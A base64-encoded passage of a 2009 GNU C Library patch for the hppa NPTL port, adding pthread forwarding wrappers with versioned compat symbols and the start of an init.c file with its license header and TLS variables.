IGRlY2wsIHBhcmFtcywgZGVmcmV0dmFsKSBcCisgIEZPUldBUkQyIChuYW1l
LCBpbnQsIGRlY2wsIHBhcmFtcywgcmV0dXJuIGRlZnJldHZhbCkKKworCitG
T1JXQVJEIChwdGhyZWFkX2F0dHJfZGVzdHJveSwgKHB0aHJlYWRfYXR0cl90
ICphdHRyKSwgKGF0dHIpLCAwKQorCisjaWYgU0hMSUJfQ09NUEFUKGxpYmMs
IEdMSUJDXzJfMCwgR0xJQkNfMl8xKQorRk9SV0FSRCAoX19wdGhyZWFkX2F0
dHJfaW5pdF8yXzAsIChwdGhyZWFkX2F0dHJfdCAqYXR0ciksIChhdHRyKSwg
MCkKK2NvbXBhdF9zeW1ib2wgKGxpYmMsIF9fcHRocmVhZF9hdHRyX2luaXRf
Ml8wLCBwdGhyZWFkX2F0dHJfaW5pdCwgR0xJQkNfMl8wKTsKKyNlbmRpZgor
CitGT1JXQVJEIChfX3B0aHJlYWRfYXR0cl9pbml0XzJfMSwgKHB0aHJlYWRf
YXR0cl90ICphdHRyKSwgKGF0dHIpLCAwKQordmVyc2lvbmVkX3N5bWJvbCAo
bGliYywgX19wdGhyZWFkX2F0dHJfaW5pdF8yXzEsIHB0aHJlYWRfYXR0cl9p
bml0LCBHTElCQ18yXzEpOworCitGT1JXQVJEIChwdGhyZWFkX2F0dHJfZ2V0
ZGV0YWNoc3RhdGUsCisJIChjb25zdCBwdGhyZWFkX2F0dHJfdCAqYXR0ciwg
aW50ICpkZXRhY2hzdGF0ZSksIChhdHRyLCBkZXRhY2hzdGF0ZSksCisJIDAp
CitGT1JXQVJEIChwdGhyZWFkX2F0dHJfc2V0ZGV0YWNoc3RhdGUsIChwdGhy
ZWFkX2F0dHJfdCAqYXR0ciwgaW50IGRldGFjaHN0YXRlKSwKKwkgKGF0dHIs
IGRldGFjaHN0YXRlKSwgMCkKKworRk9SV0FSRCAocHRocmVhZF9hdHRyX2dl
dGluaGVyaXRzY2hlZCwKKwkgKGNvbnN0IHB0aHJlYWRfYXR0cl90ICphdHRy
LCBpbnQgKmluaGVyaXQpLCAoYXR0ciwgaW5oZXJpdCksIDApCitGT1JXQVJE
IChwdGhyZWFkX2F0dHJfc2V0aW5oZXJpdHNjaGVkLCAocHRocmVhZF9hdHRy
X3QgKmF0dHIsIGludCBpbmhlcml0KSwKKwkgKGF0dHIsIGluaGVyaXQpLCAw
KQorCitGT1JXQVJEIChwdGhyZWFkX2F0dHJfZ2V0c2NoZWRwYXJhbSwKKwkg
KGNvbnN0IHB0aHJlYWRfYXR0cl90ICphdHRyLCBzdHJ1Y3Qgc2NoZWRfcGFy
YW0gKnBhcmFtKSwKKwkgKGF0dHIsIHBhcmFtKSwgMCkKK0ZPUldBUkQgKHB0
aHJlYWRfYXR0cl9zZXRzY2hlZHBhcmFtLAorCSAocHRocmVhZF9hdHRyX3Qg
KmF0dHIsIGNvbnN0IHN0cnVjdCBzY2hlZF9wYXJhbSAqcGFyYW0pLAorCSAo
YXR0ciwgcGFyYW0pLCAwKQorCitGT1JXQVJEIChwdGhyZWFkX2F0dHJfZ2V0
c2NoZWRwb2xpY3ksCisJIChjb25zdCBwdGhyZWFkX2F0dHJfdCAqYXR0ciwg
aW50ICpwb2xpY3kpLCAoYXR0ciwgcG9saWN5KSwgMCkKK0ZPUldBUkQgKHB0
aHJlYWRfYXR0cl9zZXRzY2hlZHBvbGljeSwgKHB0aHJlYWRfYXR0cl90ICph
dHRyLCBpbnQgcG9saWN5KSwKKwkgKGF0dHIsIHBvbGljeSksIDApCisKK0ZP
UldBUkQgKHB0aHJlYWRfYXR0cl9nZXRzY29wZSwKKwkgKGNvbnN0IHB0aHJl
YWRfYXR0cl90ICphdHRyLCBpbnQgKnNjb3BlKSwgKGF0dHIsIHNjb3BlKSwg
MCkKK0ZPUldBUkQgKHB0aHJlYWRfYXR0cl9zZXRzY29wZSwgKHB0aHJlYWRf
YXR0cl90ICphdHRyLCBpbnQgc2NvcGUpLAorCSAoYXR0ciwgc2NvcGUpLCAw
KQorCisKK0ZPUldBUkQgKHB0aHJlYWRfY29uZGF0dHJfZGVzdHJveSwgKHB0
aHJlYWRfY29uZGF0dHJfdCAqYXR0ciksIChhdHRyKSwgMCkKK0ZPUldBUkQg
KHB0aHJlYWRfY29uZGF0dHJfaW5pdCwgKHB0aHJlYWRfY29uZGF0dHJfdCAq
YXR0ciksIChhdHRyKSwgMCkKKworI2lmIFNITElCX0NPTVBBVChsaWJjLCBH
TElCQ18yXzAsIEdMSUJDXzJfM18yKQorRk9SV0FSRDIgKF9fcHRocmVhZF9j
b25kX2Jyb2FkY2FzdF8yXzAsIGludCBhdHRyaWJ1dGVfY29tcGF0X3RleHRf
c2VjdGlvbiwKKwkgIChwdGhyZWFkX2NvbmRfMl8wX3QgKmNvbmQpLCAoY29u
ZCksIHJldHVybiAwKQorY29tcGF0X3N5bWJvbCAobGliYywgX19wdGhyZWFk
X2NvbmRfYnJvYWRjYXN0XzJfMCwgcHRocmVhZF9jb25kX2Jyb2FkY2FzdCwK
KwkgICAgICAgR0xJQkNfMl8wKTsKKyNlbmRpZgorI2lmIFNITElCX0NPTVBB
VChsaWJjLCBHTElCQ18yXzNfMiwgR0xJQkNfMl85KQorRk9SV0FSRDIgKF9f
cHRocmVhZF9jb25kX2Jyb2FkY2FzdF9ocHBhXzJfM18yLCBpbnQgYXR0cmli
dXRlX2NvbXBhdF90ZXh0X3NlY3Rpb24sCisJICAocHRocmVhZF9jb25kX2hw
cGFfMl8zXzJfdCAqY29uZCksIChjb25kKSwgcmV0dXJuIDApCitjb21wYXRf
c3ltYm9sIChsaWJjLCBfX3B0aHJlYWRfY29uZF9icm9hZGNhc3RfaHBwYV8y
XzNfMiwgcHRocmVhZF9jb25kX2Jyb2FkY2FzdCwgCisJICAgICAgIEdMSUJD
XzJfM18yKTsKKyNlbmRpZgorRk9SV0FSRCAoX19wdGhyZWFkX2NvbmRfYnJv
YWRjYXN0LCAocHRocmVhZF9jb25kX3QgKmNvbmQpLCAoY29uZCksIDApCit2
ZXJzaW9uZWRfc3ltYm9sIChsaWJjLCBfX3B0aHJlYWRfY29uZF9icm9hZGNh
c3QsIHB0aHJlYWRfY29uZF9icm9hZGNhc3QsCisJCSAgR0xJQkNfMl85KTsK
KworI2lmIFNITElCX0NPTVBBVChsaWJjLCBHTElCQ18yXzAsIEdMSUJDXzJf
M18yKQorRk9SV0FSRDIgKF9fcHRocmVhZF9jb25kX2Rlc3Ryb3lfMl8wLCBp
bnQgYXR0cmlidXRlX2NvbXBhdF90ZXh0X3NlY3Rpb24sCisJICAocHRocmVh
ZF9jb25kXzJfMF90ICpjb25kKSwgKGNvbmQpLCByZXR1cm4gMCkKK2NvbXBh
dF9zeW1ib2wgKGxpYmMsIF9fcHRocmVhZF9jb25kX2Rlc3Ryb3lfMl8wLCBw
dGhyZWFkX2NvbmRfZGVzdHJveSwKKwkgICAgICAgR0xJQkNfMl8wKTsKKyNl
bmRpZgorI2lmIFNITElCX0NPTVBBVChsaWJjLCBHTElCQ18yXzNfMiwgR0xJ
QkNfMl85KQorRk9SV0FSRDIgKF9fcHRocmVhZF9jb25kX2Rlc3Ryb3lfaHBw
YV8yXzNfMiwgaW50IGF0dHJpYnV0ZV9jb21wYXRfdGV4dF9zZWN0aW9uLAor
CSAgKHB0aHJlYWRfY29uZF9ocHBhXzJfM18yX3QgKmNvbmQpLCAoY29uZCks
IHJldHVybiAwKQorY29tcGF0X3N5bWJvbCAobGliYywgX19wdGhyZWFkX2Nv
bmRfZGVzdHJveV9ocHBhXzJfM18yLCBwdGhyZWFkX2NvbmRfZGVzdHJveSwK
KwkgICAgICAgR0xJQkNfMl8zXzIpOworI2VuZGlmCitGT1JXQVJEIChfX3B0
aHJlYWRfY29uZF9kZXN0cm95LCAocHRocmVhZF9jb25kX3QgKmNvbmQpLCAo
Y29uZCksIDApCit2ZXJzaW9uZWRfc3ltYm9sIChsaWJjLCBfX3B0aHJlYWRf
Y29uZF9kZXN0cm95LCBwdGhyZWFkX2NvbmRfZGVzdHJveSwKKwkJICBHTElC
Q18yXzkpOworCisjaWYgU0hMSUJfQ09NUEFUKGxpYmMsIEdMSUJDXzJfMCwg
R0xJQkNfMl8zXzIpCitGT1JXQVJEMiAoX19wdGhyZWFkX2NvbmRfaW5pdF8y
XzAsIGludCBhdHRyaWJ1dGVfY29tcGF0X3RleHRfc2VjdGlvbiwKKwkgIChw
dGhyZWFkX2NvbmRfMl8wX3QgKmNvbmQsIGNvbnN0IHB0aHJlYWRfY29uZGF0
dHJfdCAqY29uZF9hdHRyKSwKKwkgIChjb25kLCBjb25kX2F0dHIpLCByZXR1
cm4gMCkKK2NvbXBhdF9zeW1ib2wgKGxpYmMsIF9fcHRocmVhZF9jb25kX2lu
aXRfMl8wLCBwdGhyZWFkX2NvbmRfaW5pdCwgR0xJQkNfMl8wKTsKKyNlbmRp
ZgorI2lmIFNITElCX0NPTVBBVChsaWJjLCBHTElCQ18yXzNfMiwgR0xJQkNf
Ml85KQorRk9SV0FSRDIgKF9fcHRocmVhZF9jb25kX2luaXRfaHBwYV8yXzNf
MiwgaW50IGF0dHJpYnV0ZV9jb21wYXRfdGV4dF9zZWN0aW9uLAorCSAgKHB0
aHJlYWRfY29uZF9ocHBhXzJfM18yX3QgKmNvbmQsIGNvbnN0IHB0aHJlYWRf
Y29uZGF0dHJfdCAqY29uZF9hdHRyKSwKKwkgIChjb25kLCBjb25kX2F0dHIp
LCByZXR1cm4gMCkKK2NvbXBhdF9zeW1ib2wgKGxpYmMsIF9fcHRocmVhZF9j
b25kX2luaXRfaHBwYV8yXzNfMiwgcHRocmVhZF9jb25kX2luaXQsIEdMSUJD
XzJfM18yKTsKKyNlbmRpZgorRk9SV0FSRCAoX19wdGhyZWFkX2NvbmRfaW5p
dCwKKwkgKHB0aHJlYWRfY29uZF90ICpjb25kLCBjb25zdCBwdGhyZWFkX2Nv
bmRhdHRyX3QgKmNvbmRfYXR0ciksCisJIChjb25kLCBjb25kX2F0dHIpLCAw
KQordmVyc2lvbmVkX3N5bWJvbCAobGliYywgX19wdGhyZWFkX2NvbmRfaW5p
dCwgcHRocmVhZF9jb25kX2luaXQsIEdMSUJDXzJfOSk7CisKKyNpZiBTSExJ
Ql9DT01QQVQobGliYywgR0xJQkNfMl8wLCBHTElCQ18yXzNfMikKK0ZPUldB
UkQyIChfX3B0aHJlYWRfY29uZF9zaWduYWxfMl8wLCBpbnQgYXR0cmlidXRl
X2NvbXBhdF90ZXh0X3NlY3Rpb24sCisJICAocHRocmVhZF9jb25kXzJfMF90
ICpjb25kKSwgKGNvbmQpLCByZXR1cm4gMCkKK2NvbXBhdF9zeW1ib2wgKGxp
YmMsIF9fcHRocmVhZF9jb25kX3NpZ25hbF8yXzAsIHB0aHJlYWRfY29uZF9z
aWduYWwsCisJICAgICAgIEdMSUJDXzJfMCk7CisjZW5kaWYKKyNpZiBTSExJ
Ql9DT01QQVQobGliYywgR0xJQkNfMl8zXzIsIEdMSUJDXzJfOSkKK0ZPUldB
UkQyIChfX3B0aHJlYWRfY29uZF9zaWduYWxfaHBwYV8yXzNfMiwgaW50IGF0
dHJpYnV0ZV9jb21wYXRfdGV4dF9zZWN0aW9uLAorCSAgKHB0aHJlYWRfY29u
ZF9ocHBhXzJfM18yX3QgKmNvbmQpLCAoY29uZCksIHJldHVybiAwKQorY29t
cGF0X3N5bWJvbCAobGliYywgX19wdGhyZWFkX2NvbmRfc2lnbmFsX2hwcGFf
Ml8zXzIsIHB0aHJlYWRfY29uZF9zaWduYWwsCisJICAgICAgIEdMSUJDXzJf
M18yKTsKKyNlbmRpZgorRk9SV0FSRCAoX19wdGhyZWFkX2NvbmRfc2lnbmFs
LCAocHRocmVhZF9jb25kX3QgKmNvbmQpLCAoY29uZCksIDApCit2ZXJzaW9u
ZWRfc3ltYm9sIChsaWJjLCBfX3B0aHJlYWRfY29uZF9zaWduYWwsIHB0aHJl
YWRfY29uZF9zaWduYWwsCisJCSAgR0xJQkNfMl85KTsKKworI2lmIFNITElC
X0NPTVBBVChsaWJjLCBHTElCQ18yXzAsIEdMSUJDXzJfM18yKQorRk9SV0FS
RDIgKF9fcHRocmVhZF9jb25kX3dhaXRfMl8wLCBpbnQgYXR0cmlidXRlX2Nv
bXBhdF90ZXh0X3NlY3Rpb24sCisJICAocHRocmVhZF9jb25kXzJfMF90ICpj
b25kLCBwdGhyZWFkX211dGV4X3QgKm11dGV4KSwgKGNvbmQsIG11dGV4KSwK
KwkgIHJldHVybiAwKQorY29tcGF0X3N5bWJvbCAobGliYywgX19wdGhyZWFk
X2NvbmRfd2FpdF8yXzAsIHB0aHJlYWRfY29uZF93YWl0LAorCSAgICAgICBH
TElCQ18yXzApOworI2VuZGlmCisjaWYgU0hMSUJfQ09NUEFUKGxpYmMsIEdM
SUJDXzJfM18yLCBHTElCQ18yXzkpCitGT1JXQVJEMiAoX19wdGhyZWFkX2Nv
bmRfd2FpdF9ocHBhXzJfM18yLCBpbnQgYXR0cmlidXRlX2NvbXBhdF90ZXh0
X3NlY3Rpb24sCisJICAocHRocmVhZF9jb25kX2hwcGFfMl8zXzJfdCAqY29u
ZCwgcHRocmVhZF9tdXRleF9ocHBhXzJfMF90ICptdXRleCksIChjb25kLCBt
dXRleCksCisJICByZXR1cm4gMCkKK2NvbXBhdF9zeW1ib2wgKGxpYmMsIF9f
cHRocmVhZF9jb25kX3dhaXRfaHBwYV8yXzNfMiwgcHRocmVhZF9jb25kX3dh
aXQsCisJICAgICAgIEdMSUJDXzJfM18yKTsKKyNlbmRpZgorRk9SV0FSRCAo
X19wdGhyZWFkX2NvbmRfd2FpdCwgKHB0aHJlYWRfY29uZF90ICpjb25kLCBw
dGhyZWFkX211dGV4X3QgKm11dGV4KSwKKwkgKGNvbmQsIG11dGV4KSwgMCkK
K3ZlcnNpb25lZF9zeW1ib2wgKGxpYmMsIF9fcHRocmVhZF9jb25kX3dhaXQs
IHB0aHJlYWRfY29uZF93YWl0LAorCQkgIEdMSUJDXzJfOSk7CisKKyNpZiBT
SExJQl9DT01QQVQobGliYywgR0xJQkNfMl8wLCBHTElCQ18yXzNfMikKK0ZP
UldBUkQyIChfX3B0aHJlYWRfY29uZF90aW1lZHdhaXRfMl8wLCBpbnQgYXR0
cmlidXRlX2NvbXBhdF90ZXh0X3NlY3Rpb24sCisJICAocHRocmVhZF9jb25k
XzJfMF90ICpjb25kLCBwdGhyZWFkX211dGV4X3QgKm11dGV4LAorCSAgIGNv
bnN0IHN0cnVjdCB0aW1lc3BlYyAqYWJzdGltZSksIChjb25kLCBtdXRleCwg
YWJzdGltZSksCisJICByZXR1cm4gMCkKK2NvbXBhdF9zeW1ib2wgKGxpYmMs
IF9fcHRocmVhZF9jb25kX3RpbWVkd2FpdF8yXzAsIHB0aHJlYWRfY29uZF90
aW1lZHdhaXQsCisJICAgICAgIEdMSUJDXzJfMCk7CisjZW5kaWYKKyNpZiBT
SExJQl9DT01QQVQobGliYywgR0xJQkNfMl8zXzIsIEdMSUJDXzJfOSkKK0ZP
UldBUkQyIChfX3B0aHJlYWRfY29uZF90aW1lZHdhaXRfaHBwYV8yXzNfMiwg
aW50IGF0dHJpYnV0ZV9jb21wYXRfdGV4dF9zZWN0aW9uLAorCSAgKHB0aHJl
YWRfY29uZF9ocHBhXzJfM18yX3QgKmNvbmQsIHB0aHJlYWRfbXV0ZXhfaHBw
YV8yXzBfdCAqbXV0ZXgsCisJICAgY29uc3Qgc3RydWN0IHRpbWVzcGVjICph
YnN0aW1lKSwgKGNvbmQsIG11dGV4LCBhYnN0aW1lKSwKKwkgIHJldHVybiAw
KQorY29tcGF0X3N5bWJvbCAobGliYywgX19wdGhyZWFkX2NvbmRfdGltZWR3
YWl0X2hwcGFfMl8zXzIsIHB0aHJlYWRfY29uZF90aW1lZHdhaXQsCisJICAg
ICAgIEdMSUJDXzJfM18yKTsKKyNlbmRpZgorRk9SV0FSRCAoX19wdGhyZWFk
X2NvbmRfdGltZWR3YWl0LAorCSAocHRocmVhZF9jb25kX3QgKmNvbmQsIHB0
aHJlYWRfbXV0ZXhfdCAqbXV0ZXgsCisJICBjb25zdCBzdHJ1Y3QgdGltZXNw
ZWMgKmFic3RpbWUpLCAoY29uZCwgbXV0ZXgsIGFic3RpbWUpLCAwKQordmVy
c2lvbmVkX3N5bWJvbCAobGliYywgX19wdGhyZWFkX2NvbmRfdGltZWR3YWl0
LCBwdGhyZWFkX2NvbmRfdGltZWR3YWl0LAorCQkgIEdMSUJDXzJfOSk7CisK
KworRk9SV0FSRCAocHRocmVhZF9lcXVhbCwgKHB0aHJlYWRfdCB0aHJlYWQx
LCBwdGhyZWFkX3QgdGhyZWFkMiksCisJICh0aHJlYWQxLCB0aHJlYWQyKSwg
MSkKKworCisvKiBVc2UgYW4gYWxpYXMgdG8gYXZvaWQgd2FybmluZywgYXMg
cHRocmVhZF9leGl0IGlzIGRlY2xhcmVkIG5vcmV0dXJuLiAgKi8KK0ZPUldB
UkQyIChfX3B0aHJlYWRfZXhpdCwgdm9pZCwgKHZvaWQgKnJldHZhbCksIChy
ZXR2YWwpLCBleGl0IChFWElUX1NVQ0NFU1MpKQorc3Ryb25nX2FsaWFzIChf
X3B0aHJlYWRfZXhpdCwgcHRocmVhZF9leGl0KTsKKworCitGT1JXQVJEIChw
dGhyZWFkX2dldHNjaGVkcGFyYW0sCisJIChwdGhyZWFkX3QgdGFyZ2V0X3Ro
cmVhZCwgaW50ICpwb2xpY3ksIHN0cnVjdCBzY2hlZF9wYXJhbSAqcGFyYW0p
LAorCSAodGFyZ2V0X3RocmVhZCwgcG9saWN5LCBwYXJhbSksIDApCitGT1JX
QVJEIChwdGhyZWFkX3NldHNjaGVkcGFyYW0sCisJIChwdGhyZWFkX3QgdGFy
Z2V0X3RocmVhZCwgaW50IHBvbGljeSwKKwkgIGNvbnN0IHN0cnVjdCBzY2hl
ZF9wYXJhbSAqcGFyYW0pLCAodGFyZ2V0X3RocmVhZCwgcG9saWN5LCBwYXJh
bSksIDApCisKKworI2lmIFNITElCX0NPTVBBVChsaWJjLCBHTElCQ18yXzAs
IEdMSUJDXzJfOSkKK0ZPUldBUkQyIChfX3B0aHJlYWRfbXV0ZXhfZGVzdHJv
eV9ocHBhXzJfMCwgaW50IGF0dHJpYnV0ZV9jb21wYXRfdGV4dF9zZWN0aW9u
LAorCSAocHRocmVhZF9tdXRleF9ocHBhXzJfMF90ICptdXRleCksIChtdXRl
eCksIHJldHVybiAwKQorY29tcGF0X3N5bWJvbCAobGliYywgX19wdGhyZWFk
X211dGV4X2Rlc3Ryb3lfaHBwYV8yXzAsIHB0aHJlYWRfbXV0ZXhfZGVzdHJv
eSwKKwkgICAgICAgR0xJQkNfMl8wKTsKKyNlbmRpZgorRk9SV0FSRCAocHRo
cmVhZF9tdXRleF9kZXN0cm95LCAocHRocmVhZF9tdXRleF90ICptdXRleCks
IChtdXRleCksIDApCit2ZXJzaW9uZWRfc3ltYm9sIChsaWJjLCBfX3B0aHJl
YWRfbXV0ZXhfZGVzdHJveSwgcHRocmVhZF9tdXRleF9kZXN0cm95LAorCQkg
IEdMSUJDXzJfOSk7CisKKyNpZiBTSExJQl9DT01QQVQobGliYywgR0xJQkNf
Ml8wLCBHTElCQ18yXzkpCitGT1JXQVJEMiAoX19wdGhyZWFkX211dGV4X2lu
aXRfaHBwYV8yXzAsIGludCBhdHRyaWJ1dGVfY29tcGF0X3RleHRfc2VjdGlv
biwKKwkgKHB0aHJlYWRfbXV0ZXhfaHBwYV8yXzBfdCAqbXV0ZXgsIGNvbnN0
IHB0aHJlYWRfbXV0ZXhhdHRyX3QgKm11dGV4YXR0ciksCisJIChtdXRleCwg
bXV0ZXhhdHRyKSwgcmV0dXJuIDApCitjb21wYXRfc3ltYm9sIChsaWJjLCBf
X3B0aHJlYWRfbXV0ZXhfaW5pdF9ocHBhXzJfMCwgcHRocmVhZF9tdXRleF9p
bml0LAorCSAgICAgICBHTElCQ18yXzApOworI2VuZGlmCitGT1JXQVJEIChw
dGhyZWFkX211dGV4X2luaXQsCisJIChwdGhyZWFkX211dGV4X3QgKm11dGV4
LCBjb25zdCBwdGhyZWFkX211dGV4YXR0cl90ICptdXRleGF0dHIpLAorCSAo
bXV0ZXgsIG11dGV4YXR0ciksIDApCit2ZXJzaW9uZWRfc3ltYm9sIChsaWJj
LCBfX3B0aHJlYWRfbXV0ZXhfaW5pdCwgcHRocmVhZF9tdXRleF9pbml0LAor
CQkgIEdMSUJDXzJfOSk7CisKKyNpZiBTSExJQl9DT01QQVQobGliYywgR0xJ
QkNfMl8wLCBHTElCQ18yXzkpCitGT1JXQVJEMiAoX19wdGhyZWFkX211dGV4
X2xvY2tfaHBwYV8yXzAsIGludCBhdHRyaWJ1dGVfY29tcGF0X3RleHRfc2Vj
dGlvbiwKKwkgKHB0aHJlYWRfbXV0ZXhfaHBwYV8yXzBfdCAqbXV0ZXgpLCAo
bXV0ZXgpLCByZXR1cm4gMCkKK2NvbXBhdF9zeW1ib2wgKGxpYmMsIF9fcHRo
cmVhZF9tdXRleF9sb2NrX2hwcGFfMl8wLCBwdGhyZWFkX211dGV4X2xvY2ss
CisJICAgICAgIEdMSUJDXzJfMCk7CisjZW5kaWYKK0ZPUldBUkQgKHB0aHJl
YWRfbXV0ZXhfbG9jaywgKHB0aHJlYWRfbXV0ZXhfdCAqbXV0ZXgpLCAobXV0
ZXgpLCAwKQordmVyc2lvbmVkX3N5bWJvbCAobGliYywgX19wdGhyZWFkX211
dGV4X2xvY2ssIHB0aHJlYWRfbXV0ZXhfbG9jaywKKwkJICBHTElCQ18yXzkp
OworCisjaWYgU0hMSUJfQ09NUEFUKGxpYmMsIEdMSUJDXzJfMCwgR0xJQkNf
Ml85KQorRk9SV0FSRDIgKF9fcHRocmVhZF9tdXRleF91bmxvY2tfaHBwYV8y
XzAsIGludCBhdHRyaWJ1dGVfY29tcGF0X3RleHRfc2VjdGlvbiwKKwkgKHB0
aHJlYWRfbXV0ZXhfaHBwYV8yXzBfdCAqbXV0ZXgpLCAobXV0ZXgpLCByZXR1
cm4gMCkKK2NvbXBhdF9zeW1ib2wgKGxpYmMsIF9fcHRocmVhZF9tdXRleF91
bmxvY2tfaHBwYV8yXzAsIHB0aHJlYWRfbXV0ZXhfdW5sb2NrLAorCSAgICAg
ICBHTElCQ18yXzApOworI2VuZGlmCitGT1JXQVJEIChwdGhyZWFkX211dGV4
X3VubG9jaywgKHB0aHJlYWRfbXV0ZXhfdCAqbXV0ZXgpLCAobXV0ZXgpLCAw
KQordmVyc2lvbmVkX3N5bWJvbCAobGliYywgX19wdGhyZWFkX211dGV4X2lu
aXQsIHB0aHJlYWRfbXV0ZXhfaW5pdCwKKwkJICBHTElCQ18yXzkpOworCitG
T1JXQVJEMiAocHRocmVhZF9zZWxmLCBwdGhyZWFkX3QsICh2b2lkKSwgKCks
IHJldHVybiAwKQorCisKK0ZPUldBUkQgKHB0aHJlYWRfc2V0Y2FuY2Vsc3Rh
dGUsIChpbnQgc3RhdGUsIGludCAqb2xkc3RhdGUpLCAoc3RhdGUsIG9sZHN0
YXRlKSwKKwkgMCkKKworRk9SV0FSRCAocHRocmVhZF9zZXRjYW5jZWx0eXBl
LCAoaW50IHR5cGUsIGludCAqb2xkdHlwZSksICh0eXBlLCBvbGR0eXBlKSwg
MCkKKworI2RlZmluZSByZXR1cm4gLyogdmFsdWUgaXMgdm9pZCAqLworRk9S
V0FSRDIoX19wdGhyZWFkX3Vud2luZCwKKwkgdm9pZCBhdHRyaWJ1dGVfaGlk
ZGVuIF9fYXR0cmlidXRlICgobm9yZXR1cm4pKSBfX2NsZWFudXBfZmN0X2F0
dHJpYnV0ZQorCSBhdHRyaWJ1dGVfY29tcGF0X3RleHRfc2VjdGlvbiwKKwkg
KF9fcHRocmVhZF91bndpbmRfYnVmX3QgKmJ1ZiksIChidWYpLCB7CisJCSAg
ICAgICAvKiBXZSBjYW5ub3QgY2FsbCBhYm9ydCgpIGhlcmUuICAqLworCQkg
ICAgICAgSU5URVJOQUxfU1lTQ0FMTF9ERUNMIChlcnIpOworCQkgICAgICAg
SU5URVJOQUxfU1lTQ0FMTCAoa2lsbCwgZXJyLCAxLCBTSUdLSUxMKTsKKwkJ
ICAgICB9KQorI3VuZGVmIHJldHVybgpJbmRleDogc3lzZGVwcy91bml4L3N5
c3YvbGludXgvaHBwYS9ucHRsL2luaXQuYwo9PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25w
dGwvaW5pdC5jCmRpZmYgLU4gc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBw
YS9ucHRsL2luaXQuYwotLS0gL2Rldi9udWxsCTEgSmFuIDE5NzAgMDA6MDA6
MDAgLTAwMDAKKysrIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0
bC9pbml0LmMJMiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsx
LDQ2MCBAQAorLyogQ29weXJpZ2h0IChDKSAyMDAyLTIwMDcsIDIwMDgsIDIw
MDkgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuCisgICBUaGlzIGZp
bGUgaXMgcGFydCBvZiB0aGUgR05VIEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1
dGVkIGJ5IFVscmljaCBEcmVwcGVyIDxkcmVwcGVyQHJlZGhhdC5jb20+LCAy
MDAyLgorCisgICBUaGUgR05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJl
OyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBp
dCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQ
dWJsaWMKKyAgIExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNv
ZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2Yg
dGhlIExpY2Vuc2UsIG9yIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZl
cnNpb24uCisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVk
IGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQg
V0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGll
ZCB3YXJyYW50eSBvZgorICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1Mg
Rk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2VlIHRoZSBHTlUKKyAgIExl
c3NlciBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMu
CisKKyAgIFlvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhl
IEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcg
d2l0aCB0aGUgR05VIEMgTGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUg
RnJlZQorICAgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxl
IFBsYWNlLCBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEKKyAgIDAyMTExLTEzMDcg
VVNBLiAgKi8KKworI2luY2x1ZGUgPGFzc2VydC5oPgorI2luY2x1ZGUgPGVy
cm5vLmg+CisjaW5jbHVkZSA8bGltaXRzLmg+CisjaW5jbHVkZSA8c2lnbmFs
Lmg+CisjaW5jbHVkZSA8c3RkbGliLmg+CisjaW5jbHVkZSA8dW5pc3RkLmg+
CisjaW5jbHVkZSA8c3lzL3BhcmFtLmg+CisjaW5jbHVkZSA8c3lzL3Jlc291
cmNlLmg+CisjaW5jbHVkZSA8cHRocmVhZFAuaD4KKyNpbmNsdWRlIDxhdG9t
aWMuaD4KKyNpbmNsdWRlIDxsZHNvZGVmcy5oPgorI2luY2x1ZGUgPHRscy5o
PgorI2luY2x1ZGUgPGZvcmsuaD4KKyNpbmNsdWRlIDx2ZXJzaW9uLmg+Cisj
aW5jbHVkZSA8c2hsaWItY29tcGF0Lmg+CisjaW5jbHVkZSA8c21wLmg+Cisj
aW5jbHVkZSA8bG93bGV2ZWxsb2NrLmg+CisjaW5jbHVkZSA8a2VybmVsLWZl
YXR1cmVzLmg+CisKKworLyogU2l6ZSBhbmQgYWxpZ25tZW50IG9mIHN0YXRp
YyBUTFMgYmxvY2suICAqLworc2l6ZV90IF9fc3RhdGljX3Rsc19zaXplOwor
c2l6ZV90IF9fc3RhdGljX3Rsc19hbGlnbl9tMTsKKworI2lmbmRlZiBfX0FT
U1VNRV9TRVRfUk9CVVNUX0xJU1QKKy8qIE5lZ2F0aXZlIGlmIHdlIGRvIG5v
dCBoYXZlIHRoZSBzeXN0ZW0gY2FsbCBhbmQgd2UgY2FuIHVzZSBpdC4gICov
CitpbnQgX19zZXRfcm9idXN0X2xpc3RfYXZhaWw7CisjIGRlZmluZSBzZXRf
cm9idXN0X2xpc3Rfbm90X2F2YWlsKCkgXAorICBfX3NldF9yb2J1c3RfbGlz
dF9hdmFpbCA9IC0xCisjZWxzZQorIyBkZWZpbmUgc2V0X3JvYnVzdF9saXN0
